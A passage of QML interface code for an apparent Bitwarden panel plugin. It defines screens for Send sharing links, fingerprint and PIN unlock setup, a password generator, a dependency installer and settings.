again" + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + onClicked: root.resumeSshSigning() + } + } + } + } + + // ------------------------------------------------------------------- + // SCREEN 0f: BITWARDEN SEND + // ------------------------------------------------------------------- + Flickable { + id: sendFlick + visible: root.activeScreen === "sends" + width: parent.width + height: Math.min(Style.space(520), sendCol.implicitHeight) + contentWidth: width + contentHeight: sendCol.implicitHeight + clip: true + boundsBehavior: Flickable.StopAtBounds + flickableDirection: Flickable.VerticalFlick + ScrollBar.vertical: ScrollBar { policy: ScrollBar.AsNeeded } + + WheelScroll { view: sendFlick } + + Column { + id: sendCol + width: sendFlick.width - root.scrollGutter + spacing: Style.space(10) + + PanelSeparator { width: parent.width } + + Row { + width: parent.width + spacing: Style.space(8) + + Button { + text: root.sendMode === "create" ? "Back to Sends" : "Back (Esc)" + iconText: "󰁍" + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + onClicked: { + if (root.sendMode === "create") { root.sendError = ""; root.sendMode = "list" } + else root.currentScreen = "main" + } + } + + Button { + visible: root.sendMode === "list" + text: "New Send" + iconText: "󰐕" + selected: true + accent: Color.accent + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + onClicked: root.beginCreateSend() + } + + Button { + visible: root.sendMode === "list" + text: "Refresh" + iconText: "󰑐" + iconSpinning: root.sendsLoading + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + onClicked: root.loadSends() + } + } + + Text { + textFormat: Text.PlainText + visible: root.sendError !== "" + width: parent.width + text: root.sendError + color: root.urgent + font.family: root.fontFamily + font.pixelSize: Style.font.bodySmall + wrapMode: Text.WordWrap + } + + // ---------------- list ---------------- + Column { + visible: root.sendMode === "list" + width: parent.width + spacing: Style.space(8) + + Text { + textFormat: Text.PlainText + visible: !root.sendsLoading && root.sends.length === 0 + width: parent.width + text: "No Sends yet. A Send shares a secret through a link that expires on its own -- useful for handing someone a credential without it living in a chat log." + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.bodySmall + wrapMode: Text.WordWrap + } + + Text { + textFormat: Text.PlainText + visible: root.sendsLoading + text: "Loading Sends..." + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.bodySmall + } + + Repeater { + model: root.sends + + delegate: BorderSurface { + required property var modelData + required property int index + width: parent.width + implicitHeight: sendRowCol.implicitHeight + Style.space(16) + radius: Style.cornerRadius + readonly property bool cursored: index === root.sendIndex + color: cursored ? Style.hoverFillFor(root.fg, Color.accent) : "transparent" + borderSpec: Border.surfaceSpec("menu", "border", + cursored ? Color.accent : Qt.rgba(root.fg.r, root.fg.g, root.fg.b, 0.18), 1) + + MouseArea { + anchors.fill: parent + hoverEnabled: true + onEntered: root.sendIndex = index + } + + Row { + anchors.fill: parent + anchors.margins: Style.space(8) + spacing: Style.space(8) + + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + text: modelData.isFile ? "󰈤" : "󰈙" + color: Color.accent + font.family: root.fontFamily + font.pixelSize: Style.font.subtitle + } + + Column { + id: sendRowCol + width: parent.width - Style.space(110) + spacing: Style.space(2) + + Text { + textFormat: Text.PlainText + width: parent.width + text: modelData.name + color: root.fg + font.family: root.fontFamily + font.pixelSize: Style.font.body + font.bold: true + elide: Text.ElideRight + } + + Row { + spacing: Style.space(6) + + Text { + textFormat: Text.PlainText + text: Model.sendExpiryLabel(modelData, Date.now()) + color: Model.sendExpiryLabel(modelData, Date.now()) === "expired" ? root.urgent : root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.caption + } + Text { + textFormat: Text.PlainText + text: "\u00b7 " + Model.sendAccessLabel(modelData) + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.caption + } + Text { + textFormat: Text.PlainText + visible: modelData.passwordSet + text: "\u00b7 󰌾 password" + color: Color.accent + font.family: root.fontFamily + font.pixelSize: Style.font.caption + } + } + } + + PanelActionButton { + anchors.verticalCenter: parent.verticalCenter + iconText: "󰆏" + tooltipText: "Copy Send link" + fontFamily: root.fontFamily + onClicked: root.copySendLink(modelData) + } + + PanelActionButton { + anchors.verticalCenter: parent.verticalCenter + iconText: "󰆴" + tooltipText: "Delete this Send" + fontFamily: root.fontFamily + enabled: !root.sendBusy + onClicked: root.deleteSend(modelData) + } + } + } + } + } + + // ---------------- create ---------------- + Column { + visible: root.sendMode === "create" + width: parent.width + spacing: Style.space(8) + + Text { textFormat: Text.PlainText; text: "NAME"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + id: sendNameField + width: parent.width + placeholderText: "What is this? (optional)" + text: root.sendFormName + onTextChanged: root.sendFormName = text + enabled: !root.sendBusy + } + + Text { textFormat: Text.PlainText; text: "TEXT TO SEND"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "The secret to share..." + text: root.sendFormText + onTextChanged: root.sendFormText = text + enabled: !root.sendBusy + } + + Row { + width: parent.width + spacing: Style.space(6) + + Button { + text: "Hide text by default" + tooltipText: "The recipient must click to reveal it" + selected: root.sendFormHidden + accent: Color.accent + fontFamily: root.fontFamily + fontSize: Style.font.caption + onClicked: root.sendFormHidden = !root.sendFormHidden + } + } + + Row { + width: parent.width + spacing: Style.space(10) + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + width: parent.width - Style.space(170) + text: "Delete after" + color: root.fg + font.family: root.fontFamily + font.pixelSize: Style.font.body + } + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + text: "days" + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.caption + } + NumberField { + anchors.verticalCenter: parent.verticalCenter + value: root.sendFormDays + from: 1 + to: 31 + stepSize: 1 + foreground: root.fg + accent: Color.accent + fontFamily: root.fontFamily + onModified: function(v) { root.sendFormDays = v } + } + } + + Row { + width: parent.width + spacing: Style.space(10) + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + width: parent.width - Style.space(170) + text: "Maximum views" + color: root.fg + font.family: root.fontFamily + font.pixelSize: Style.font.body + } + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + text: root.sendFormMaxAccess === 0 ? "unlimited" : "" + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.caption + } + NumberField { + anchors.verticalCenter: parent.verticalCenter + value: root.sendFormMaxAccess + from: 0 + to: 100 + stepSize: 1 + foreground: root.fg + accent: Color.accent + fontFamily: root.fontFamily + onModified: function(v) { root.sendFormMaxAccess = v } + } + } + + Text { textFormat: Text.PlainText; text: "PASSWORD (OPTIONAL)"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "Recipient must enter this to open the Send..." + password: true + text: root.sendFormPassword + onTextChanged: root.sendFormPassword = text + enabled: !root.sendBusy + } + + Button { + width: parent.width + text: root.sendBusy ? "Creating..." : "Create Send & Copy Link" + iconText: root.sendBusy ? "󰑐" : "󰒗" + iconSpinning: root.sendBusy + selected: true + accent: Color.accent + fontFamily: root.fontFamily + enabled: !root.sendBusy + onClicked: root.submitCreateSend() + } + } + } + } + + // ------------------------------------------------------------------- + // SCREEN 0e: FINGERPRINT SETUP + // ------------------------------------------------------------------- + Flickable { + id: fpFlick + visible: root.activeScreen === "fingerprint" + width: parent.width + height: Math.min(Style.space(520), fpCol.implicitHeight) + contentWidth: width + contentHeight: fpCol.implicitHeight + clip: true + boundsBehavior: Flickable.StopAtBounds + flickableDirection: Flickable.VerticalFlick + ScrollBar.vertical: ScrollBar { policy: ScrollBar.AsNeeded } + + WheelScroll { view: fpFlick } + + Column { + id: fpCol + width: fpFlick.width - root.scrollGutter + spacing: Style.space(12) + + PanelSeparator { width: parent.width } + + Column { + width: parent.width + spacing: Style.space(4) + + Text { + textFormat: Text.PlainText + text: "Enable fingerprint unlock" + color: root.fg + font.family: root.fontFamily + font.pixelSize: Style.font.title + font.bold: true + } + + Text { + textFormat: Text.PlainText + width: parent.width + text: "A fingerprint proves you are present but cannot produce your master password, and bw unlock accepts nothing else. The password is stored in the OS login keyring, and a verified fingerprint is the gate on reading it back." + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.bodySmall + wrapMode: Text.WordWrap + } + + Text { + textFormat: Text.PlainText + width: parent.width + text: "Anyone who can read your unlocked login keyring can read the password. A PIN stores it encrypted instead." + color: root.urgent + font.family: root.fontFamily + font.pixelSize: Style.font.caption + wrapMode: Text.WordWrap + } + } + + Column { + width: parent.width + spacing: Style.space(8) + + Text { textFormat: Text.PlainText; text: "MASTER PASSWORD"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + + TextField { + id: fpMasterField + width: parent.width + placeholderText: "Needed once, to store for fingerprint unlock..." + password: true + text: root.fpSetupMaster + onTextChanged: root.fpSetupMaster = text + onAccepted: root.submitFingerprintSetup() + enabled: !root.fpBusy + } + + Text { + textFormat: Text.PlainText + visible: root.fpError !== "" + width: parent.width + text: root.fpError + color: root.urgent + font.family: root.fontFamily + font.pixelSize: Style.font.bodySmall + wrapMode: Text.WordWrap + } + + Row { + width: parent.width + spacing: Style.space(8) + + Button { + text: root.fpBusy ? "Saving..." : "Enable" + iconText: root.fpBusy ? "󰑐" : "󰈷" + iconSpinning: root.fpBusy + selected: true + accent: Color.accent + fontFamily: root.fontFamily + enabled: !root.fpBusy + onClicked: root.submitFingerprintSetup() + } + + Button { + text: "Cancel" + iconText: "󰅖" + fontFamily: root.fontFamily + enabled: !root.fpBusy + onClicked: { root.fpError = ""; root.currentScreen = "settings" } + } + } + } + } + } + + // ------------------------------------------------------------------- + // SCREEN 0c: PIN SETUP + // ------------------------------------------------------------------- + // ------------------------------------------------------------------- + // SCREEN 0d: GENERATOR + // ------------------------------------------------------------------- + Flickable { + id: genFlick + visible: root.activeScreen === "generator" + width: parent.width + height: Math.min(Style.space(520), genCol.implicitHeight) + contentWidth: width + contentHeight: genCol.implicitHeight + clip: true + boundsBehavior: Flickable.StopAtBounds + flickableDirection: Flickable.VerticalFlick + ScrollBar.vertical: ScrollBar { policy: ScrollBar.AsNeeded } + + WheelScroll { view: genFlick } + + Column { + id: genCol + width: genFlick.width - root.scrollGutter + spacing: Style.space(10) + + PanelSeparator { width: parent.width } + + Row { + width: parent.width + spacing: Style.space(8) + + Button { + text: root.generatorFeedsForm ? "Back to item (Esc)" : "Back (Esc)" + iconText: "󰁍" + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + onClicked: root.closeGenerator() + } + + // Only when the generator was opened from the item form: hand + // the value back to the password field and return there. + Button { + visible: root.generatorFeedsForm + text: "Use this password (Enter)" + iconText: "󰄬" + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + selected: true + accent: Color.accent + enabled: !root.genBusy && root.genValue !== "" + onClicked: root.useGeneratedPassword() + } + } + + // Generated value + BorderSurface { + width: parent.width + implicitHeight: Style.space(58) + radius: Style.cornerRadius + color: Style.hoverFillFor(root.fg, Color.accent) + borderSpec: Border.controlSpec("normal", root.fg, Color.accent) + + Row { + anchors.fill: parent + anchors.leftMargin: Style.space(12) + anchors.rightMargin: Style.space(6) + spacing: Style.space(4) + + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + width: parent.width - Style.space(90) + text: root.genBusy ? "Generating..." : (root.genValue || "-") + color: Color.accent + font.family: root.fontFamily + font.pixelSize: Style.font.subtitle + font.bold: true + wrapMode: Text.WrapAnywhere + maximumLineCount: 2 + elide: Text.ElideRight + } + + PanelActionButton { + anchors.verticalCenter: parent.verticalCenter + iconText: "󰑐" + tooltipText: "Regenerate" + fontFamily: root.fontFamily + enabled: !root.genBusy + onClicked: root.regenerate() + } + + PanelActionButton { + anchors.verticalCenter: parent.verticalCenter + iconText: "󰆏" + tooltipText: "Copy" + fontFamily: root.fontFamily + enabled: !root.genBusy && root.genValue !== "" + onClicked: root.copyGenerated() + } + } + } + + // Strength meter + Column { + width: parent.width + spacing: Style.space(3) + + readonly property var strength: Model.generatorStrength(root.genOpts) + + Row { + width: parent.width + Text { + textFormat: Text.PlainText + text: parent.parent.strength.label + color: Color.accent + font.family: root.fontFamily + font.pixelSize: Style.font.caption + font.bold: true + } + Item { width: Style.space(6); height: 1 } + Text { + textFormat: Text.PlainText + text: "~" + parent.parent.strength.bits + " bits of entropy" + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.caption + } + } + + Rectangle { + width: parent.width + height: Style.space(4) + radius: height / 2 + color: Qt.rgba(root.fg.r, root.fg.g, root.fg.b, 0.15) + + Rectangle { + width: parent.width * parent.parent.strength.fraction + height: parent.height + radius: height / 2 + color: Color.accent + } + } + } + + PanelSeparator { width: parent.width } + + // Type + Row { + width: parent.width + spacing: Style.space(8) + + Button { + text: "Password" + iconText: "󰌆" + selected: root.genOpts.type === "password" + accent: Color.accent + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + onClicked: root.setGenOpt("type", "password") + } + + Button { + text: "Passphrase" + iconText: "󰈚" + selected: root.genOpts.type === "passphrase" + accent: Color.accent + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + onClicked: root.setGenOpt("type", "passphrase") + } + } + + // ---- Password options ---- + Column { + visible: root.genOpts.type === "password" + width: parent.width + spacing: Style.space(8) + + Row { + width: parent.width + spacing: Style.space(10) + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + width: parent.width - Style.space(170) + text: "Length" + color: root.fg + font.family: root.fontFamily + font.pixelSize: Style.font.body + } + NumberField { + anchors.verticalCenter: parent.verticalCenter + value: root.genOpts.length + from: 5 + to: 128 + stepSize: 1 + foreground: root.fg + accent: Color.accent + fontFamily: root.fontFamily + onModified: function(v) { root.setGenOpt("length", v) } + } + } + + Flow { + width: parent.width + spacing: Style.space(6) + + Button { + text: "A-Z" + selected: root.genOpts.uppercase + accent: Color.accent + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + onClicked: root.setGenOpt("uppercase", !root.genOpts.uppercase) + } + Button { + text: "a-z" + selected: root.genOpts.lowercase + accent: Color.accent + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + onClicked: root.setGenOpt("lowercase", !root.genOpts.lowercase) + } + Button { + text: "0-9" + selected: root.genOpts.numbers + accent: Color.accent + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + onClicked: root.setGenOpt("numbers", !root.genOpts.numbers) + } + Button { + text: "!@#$%^&*" + selected: root.genOpts.special + accent: Color.accent + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + onClicked: root.setGenOpt("special", !root.genOpts.special) + } + Button { + text: "Avoid ambiguous" + tooltipText: "Exclude characters that are easy to confuse, such as l, 1, I, O and 0" + selected: root.genOpts.ambiguous + accent: Color.accent + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + onClicked: root.setGenOpt("ambiguous", !root.genOpts.ambiguous) + } + } + + Row { + visible: root.genOpts.numbers + width: parent.width + spacing: Style.space(10) + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + width: parent.width - Style.space(170) + text: "Minimum numbers" + color: root.fg + font.family: root.fontFamily + font.pixelSize: Style.font.body + } + NumberField { + anchors.verticalCenter: parent.verticalCenter + value: root.genOpts.minNumber + from: 0 + to: 9 + stepSize: 1 + foreground: root.fg + accent: Color.accent + fontFamily: root.fontFamily + onModified: function(v) { root.setGenOpt("minNumber", v) } + } + } + + Row { + visible: root.genOpts.special + width: parent.width + spacing: Style.space(10) + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + width: parent.width - Style.space(170) + text: "Minimum special" + color: root.fg + font.family: root.fontFamily + font.pixelSize: Style.font.body + } + NumberField { + anchors.verticalCenter: parent.verticalCenter + value: root.genOpts.minSpecial + from: 0 + to: 9 + stepSize: 1 + foreground: root.fg + accent: Color.accent + fontFamily: root.fontFamily + onModified: function(v) { root.setGenOpt("minSpecial", v) } + } + } + } + + // ---- Passphrase options ---- + Column { + visible: root.genOpts.type === "passphrase" + width: parent.width + spacing: Style.space(8) + + Row { + width: parent.width + spacing: Style.space(10) + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + width: parent.width - Style.space(170) + text: "Number of words" + color: root.fg + font.family: root.fontFamily + font.pixelSize: Style.font.body + } + NumberField { + anchors.verticalCenter: parent.verticalCenter + value: root.genOpts.words + from: 3 + to: 20 + stepSize: 1 + foreground: root.fg + accent: Color.accent + fontFamily: root.fontFamily + onModified: function(v) { root.setGenOpt("words", v) } + } + } + + Row { + width: parent.width + spacing: Style.space(10) + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + width: parent.width - Style.space(170) + text: "Word separator" + color: root.fg + font.family: root.fontFamily + font.pixelSize: Style.font.body + } + TextField { + anchors.verticalCenter: parent.verticalCenter + width: Style.space(90) + text: root.genOpts.separator + onTextChanged: if (text && text !== root.genOpts.separator) root.setGenOpt("separator", text.charAt(0)) + } + } + + Flow { + width: parent.width + spacing: Style.space(6) + + Button { + text: "Capitalize" + selected: root.genOpts.capitalize + accent: Color.accent + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + onClicked: root.setGenOpt("capitalize", !root.genOpts.capitalize) + } + Button { + text: "Include number" + selected: root.genOpts.includeNumber + accent: Color.accent + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + onClicked: root.setGenOpt("includeNumber", !root.genOpts.includeNumber) + } + } + } + } + } + + // Scrolls rather than overflowing the panel: this screen is taller + // than the popup's height cap on smaller displays. + Flickable { + id: pinFlick + visible: root.activeScreen === "pin" + width: parent.width + height: Math.min(Style.space(520), pinCol.implicitHeight) + contentWidth: width + contentHeight: pinCol.implicitHeight + clip: true + boundsBehavior: Flickable.StopAtBounds + flickableDirection: Flickable.VerticalFlick + ScrollBar.vertical: ScrollBar { policy: ScrollBar.AsNeeded } + + WheelScroll { view: pinFlick } + + Column { + id: pinCol + width: pinFlick.width - root.scrollGutter + spacing: Style.space(12) + + PanelSeparator { width: parent.width } + + Column { + width: parent.width + spacing: Style.space(4) + + Text { + textFormat: Text.PlainText + text: "Set an unlock PIN" + color: root.fg + font.family: root.fontFamily + font.pixelSize: Style.font.title + font.bold: true + } + + Text { + textFormat: Text.PlainText + width: parent.width + text: "Your master password is encrypted with a key derived from this PIN, and only the encrypted form is stored. " + + "Use " + Model.pinRecommendedLength() + " digits or more; " + Model.pinMinLength() + + " is the floor, and every extra digit multiplies an attacker's work by ten." + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.bodySmall + wrapMode: Text.WordWrap + } + } + + Column { + width: parent.width + spacing: Style.space(8) + + Text { textFormat: Text.PlainText; text: "MASTER PASSWORD"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "Needed once, to encrypt the PIN..." + password: true + text: root.pinSetupMaster + onTextChanged: root.pinSetupMaster = text + enabled: !root.pinBusy + } + + Text { + textFormat: Text.PlainText + text: "PIN" + // The label turns with the field, so the warning is visible even + // when the cursor has moved on to Confirm. + color: root.pinSetupWeak ? root.urgent : root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.caption + font.bold: true + } + TextField { + id: pinSetupPinField + width: parent.width + placeholderText: Model.pinRecommendedLength() + " digits or more..." + password: true + text: root.pinSetupPin + onTextChanged: root.pinSetupPin = text.replace(/[^0-9]/g, "") + enabled: !root.pinBusy + // A short PIN is allowed but not waved through: the border goes + // red rather than accent while it is under the recommendation. + accent: root.pinSetupWeak ? root.urgent : Color.accent + foreground: root.pinSetupWeak ? root.urgent : root.fg + } + + Text { + textFormat: Text.PlainText + visible: root.pinSetupWeak + width: parent.width + text: "󰀪 " + Model.pinWeakWarning(root.pinSetupPin) + color: root.urgent + font.family: root.fontFamily + font.pixelSize: Style.font.bodySmall + wrapMode: Text.WordWrap + } + + Text { textFormat: Text.PlainText; text: "CONFIRM PIN"; color: root.dim; font.family: root.fontFamily; font.pixelSize: Style.font.caption; font.bold: true } + TextField { + width: parent.width + placeholderText: "Repeat the PIN..." + password: true + text: root.pinSetupConfirm + onTextChanged: root.pinSetupConfirm = text.replace(/[^0-9]/g, "") + onAccepted: root.submitPinSetup() + enabled: !root.pinBusy + } + + Text { + textFormat: Text.PlainText + visible: root.pinError !== "" + width: parent.width + text: root.pinError + color: root.urgent + font.family: root.fontFamily + font.pixelSize: Style.font.bodySmall + wrapMode: Text.WordWrap + } + + Row { + width: parent.width + spacing: Style.space(8) + + Button { + text: root.pinBusy ? "Encrypting..." : "Save PIN" + iconText: root.pinBusy ? "󰑐" : "󰄬" + iconSpinning: root.pinBusy + selected: true + accent: Color.accent + fontFamily: root.fontFamily + enabled: !root.pinBusy + onClicked: root.submitPinSetup() + } + + Button { + text: "Cancel" + iconText: "󰅖" + fontFamily: root.fontFamily + enabled: !root.pinBusy + onClicked: { root.pinError = ""; root.currentScreen = "settings" } + } + } + } + } + } + + // ------------------------------------------------------------------- + // SCREEN 0a: SETUP WIZARD (missing dependencies) + // ------------------------------------------------------------------- + // Scrolls rather than overflowing the panel: this screen is taller + // than the popup's height cap on smaller displays. + Flickable { + id: setupFlick + visible: root.activeScreen === "setup" + width: parent.width + height: Math.min(Style.space(520), setupCol.implicitHeight) + contentWidth: width + contentHeight: setupCol.implicitHeight + clip: true + boundsBehavior: Flickable.StopAtBounds + flickableDirection: Flickable.VerticalFlick + ScrollBar.vertical: ScrollBar { policy: ScrollBar.AsNeeded } + + WheelScroll { view: setupFlick } + + Column { + id: setupCol + width: setupFlick.width - root.scrollGutter + spacing: Style.space(12) + + PanelSeparator { width: parent.width } + + Column { + width: parent.width + spacing: Style.space(4) + + Text { + textFormat: Text.PlainText + text: root.missingRequired.length > 0 ? "One more step" : "All set" + color: root.fg + font.family: root.fontFamily + font.pixelSize: Style.font.title + font.bold: true + } + + Text { + textFormat: Text.PlainText + width: parent.width + text: root.missingRequired.length > 0 + ? "The plugin drives these tools rather than bundling them. Install the required ones below and the panel picks them up on its own -- no terminal work to come back from." + : "Every required tool is installed. Optional ones below unlock extra features." + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.bodySmall + wrapMode: Text.WordWrap + } + } + + Repeater { + // Only rows this machine can act on. A desktop with no fingerprint + // reader is not missing a dependency. + model: Model.applicableDependencies(root.dependencies) + + delegate: BorderSurface { + required property var modelData + width: parent.width + implicitHeight: depRow.implicitHeight + Style.space(16) + radius: Style.cornerRadius + color: modelData.ready ? "transparent" : Util.alpha(root.urgent, 0.12) + borderSpec: Border.surfaceSpec("menu", "border", + modelData.ready ? Color.accent : root.urgent, 1) + + Row { + id: depRow + anchors.fill: parent + anchors.margins: Style.space(8) + spacing: Style.space(10) + + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + text: modelData.ready ? "󰄬" : (modelData.required ? "󰅖" : "󰋗") + color: modelData.ready ? Color.accent : (modelData.required ? root.urgent : root.dim) + font.family: root.fontFamily + font.pixelSize: Style.font.subtitle + } + + Column { + width: parent.width - Style.space(170) + spacing: Style.space(2) + + Row { + spacing: Style.space(6) + Text { + textFormat: Text.PlainText + text: modelData.label + color: root.fg + font.family: root.fontFamily + font.pixelSize: Style.font.body + font.bold: true + } + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + text: modelData.required ? "required" : "optional" + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.caption + } + } + + Text { + textFormat: Text.PlainText + width: parent.width + text: modelData.purpose + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.caption + wrapMode: Text.WordWrap + } + + Text { + textFormat: Text.PlainText + visible: !!modelData.note + width: parent.width + text: modelData.note + color: root.urgent + font.family: root.fontFamily + font.pixelSize: Style.font.caption + wrapMode: Text.WordWrap + } + + // The package being on PATH is not the finish line for a + // setup row: fingerprint unlock also wants an enrolled + // finger and the PAM stack, and only the setup command + // produces those. + Text { + textFormat: Text.PlainText + visible: modelData.setup && modelData.installed && !modelData.ready + width: parent.width + text: "Reader stack is installed, but no finger is enrolled yet." + color: root.urgent + font.family: root.fontFamily + font.pixelSize: Style.font.caption + wrapMode: Text.WordWrap + } + } + + // One button per row, whichever door this row goes through. + Button { + anchors.verticalCenter: parent.verticalCenter + visible: modelData.setup ? !modelData.ready : !modelData.installed + text: modelData.setup ? "Set up" : "Install" + iconText: modelData.setup ? "󰈷" : "󰐕" + tooltipText: modelData.setup + ? "omarchy setup security fingerprint" + : "omarchy install app " + modelData.pkg + fontFamily: root.fontFamily + fontSize: Style.font.caption + onClicked: root.installOne(modelData) + } + } + } + } + + Row { + width: parent.width + spacing: Style.space(8) + + Button { + text: "Re-check" + iconText: "󰑐" + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + onClicked: root.checkDependencies() + } + + // The one button a first run needs. It covers the optional tools + // too, so a single trip through the terminal leaves every feature + // working rather than only the ones that block startup. + Button { + visible: root.installablePackages.length > 0 + text: root.installablePackages.length > 1 ? "Install all missing" : "Install" + iconText: "󰐕" + selected: true + accent: Color.accent + tooltipText: "omarchy install app " + root.installablePackages.join(" ") + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + onClicked: root.installMissing() + } + + Button { + text: root.missingRequired.length > 0 ? "Continue anyway" : "Done" + iconText: "󰁍" + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + onClicked: root.dismissSetup() + } + } + } + } + + // ------------------------------------------------------------------- + // SCREEN 0b: SETTINGS + // ------------------------------------------------------------------- + // Scrolls rather than overflowing the panel: this screen is taller + // than the popup's height cap on smaller displays. + Column { + id: settingsScreen + visible: root.activeScreen === "settings" + width: parent.width + spacing: Style.space(10) + + PanelSeparator { width: parent.width } + + // Pinned above the scroll area rather than scrolling with it. The + // right half is the way out, which should never require scrolling to + // find. The left half is the section the view is currently inside, + // and it folds that section -- so a user twenty rows into Security + // can shut it without first scrolling back to its heading. + Item { + width: parent.width + height: Style.space(26) + + // An indicator, not a control. It says which section the view is + // inside; the heading it stands for is a plain heading too. + Row { + id: stickySection + anchors.left: parent.left + anchors.verticalCenter: parent.verticalCenter + spacing: Style.space(6) + visible: root.settingsStickyEntry !== null + + PanelSectionHeader { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + text: root.settingsStickyEntry + ? String(root.settingsStickyEntry.label || "").toUpperCase() : "" + foreground: root.fg + fontFamily: root.fontFamily + } + } + + Row { + anchors.right: parent.right + // Flush with the scrolling rows below, which stop short of the + // scrollbar. Without this the Back button overhangs every + // control it sits above. + anchors.rightMargin: root.scrollGutter + anchors.verticalCenter: parent.verticalCenter + spacing: Style.space(8) + + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + visible: root.settingsFlash !== "" + text: "󰄬 " + root.settingsFlash + color: Color.accent + font.family: root.fontFamily + font.pixelSize: Style.font.caption + } + + Button { + text: "Back (Esc)" + iconText: "󰁍" + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + onClicked: root.closeSettings() + } + } + } + + + Flickable { + id: settingsFlick + width: parent.width + height: Math.min(Style.space(520), settingsCol.implicitHeight) + contentWidth: width + contentHeight: settingsCol.implicitHeight + clip: true + boundsBehavior: Flickable.StopAtBounds + flickableDirection: Flickable.VerticalFlick + ScrollBar.vertical: ScrollBar { + id: settingsScrollBar + policy: ScrollBar.AsNeeded + } + + WheelScroll { view: settingsFlick } + + // The pinned bar names the section the view is inside, so it has to + // be recomputed as the view moves and whenever the content resizes. + // The height case runs a frame later, after layout. + onContentYChanged: root.updateSettingsSticky() + onContentHeightChanged: Qt.callLater(root.updateSettingsSticky) + + Column { + id: settingsCol + // Short of the scrollbar rather than under it. The bar is an + // overlay, so without this it sits on top of whatever is at the + // right edge -- which on this screen is every toggle and every + // number field. Reserved unconditionally: the width would + // otherwise change as the bar came and went, reflowing the rows + // underneath it. + width: settingsFlick.width - root.scrollGutter + spacing: Style.space(10) + + Connections { + target: root + function onSettingsIndexChanged() { + var row = settingsRepeater.itemAt(root.settingsIndex) + if (!row) return + if (row.y < settingsFlick.contentY) { + settingsFlick.contentY = Math.max(0, row.y - Style.space(8)) + } else if (row.y + row.height > settingsFlick.contentY + settingsFlick.height) { + settingsFlick.contentY = Math.min( + Math.max(0, settingsFlick.contentHeight - settingsFlick.height), + row.y + row.height - settingsFlick.height + Style.space(8)) + } + } + } + + Repeater { + id: settingsRepeater + model: root.settingsEntries + + delegate: Column { + required property var modelData + required property int index + width: parent.width + spacing: Style.space(4) + readonly property bool cursored: index === root.settingsIndex + + readonly property bool isGroup: modelData.kind === "group" + + // This heading is the one the pinned bar is currently drawing. + // The bar stands in for it completely, so the row gives up its + // space rather than sitting there empty -- a transparent row + // left a heading-sized hole directly under the bar. + // + // Exactly one heading is ever in this state, so the content + // height does not change as the pinned section changes: the + // heading taking over collapses at the same moment the previous + // one is restored, and the view does not jump. + readonly property bool yieldsToBar: isGroup + && Boolean(root.settingsStickyEntry) + && root.settingsStickyEntry.group === modelData.group + + // Breathing room above each heading, except the first. + Item { + visible: isGroup && index > 0 && !yieldsToBar + width: parent.width + height: visible ? Style.space(18) : 0 + } + + // A group heading is a row of its own rather than a label on + // the first setting under it: the pinned indicator reads + // delegate geometry to tell which section the view is inside, + // and a heading carried by another row has no position of its + // own to be found at. + Item { + visible: isGroup && !yieldsToBar + width: parent.width + height: visible ? Style.space(22) : 0 + + PanelSectionHeader { + textFormat: Text.PlainText + anchors.left: parent.left + anchors.verticalCenter: parent.verticalCenter + text: String(modelData.label || "").toUpperCase() + foreground: root.fg + fontFamily: root.fontFamily + } + } + + // A setting whose dependency is missing is shown but inert, with + // the reason stated rather than the control silently doing nothing. + readonly property bool 